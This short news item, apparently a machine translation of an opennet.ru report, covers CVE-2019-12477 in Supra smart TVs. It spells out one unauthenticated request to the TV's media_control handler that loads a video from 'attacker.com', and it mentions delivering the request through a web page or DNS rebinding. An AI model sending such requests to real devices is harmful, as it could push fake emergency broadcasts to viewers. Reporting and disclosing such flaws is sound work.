Supra 智能电视中的漏洞可让您显示虚构视频

Supra智能云电视 已确定 漏洞 (CVE-2019-12477)，允许您用攻击者的内容替换当前查看的程序。 作为示例，演示了有关紧急情况的虚构警告的输出。

对于攻击来说，发送不需要身份验证的特制网络请求就足够了。 特别是，您可以通过指定带有视频参数的 m3u8 文件的 URL 来访问“/remote/media_control?action=setUri&uri=”处理程序，例如“http://192.168.1.155/remote/media_control?action=setUri&uri=” http://attacker.com/fake_broadcast_message.m3u8”。

大多数情况下，对电视IP地址的访问仅限于内部网络，但由于请求是通过HTTP发送的，因此当用户打开专门设计的外部页面时（例如在以图片请求为幌子或使用 DNS 重新绑定).

来源： opennet.ru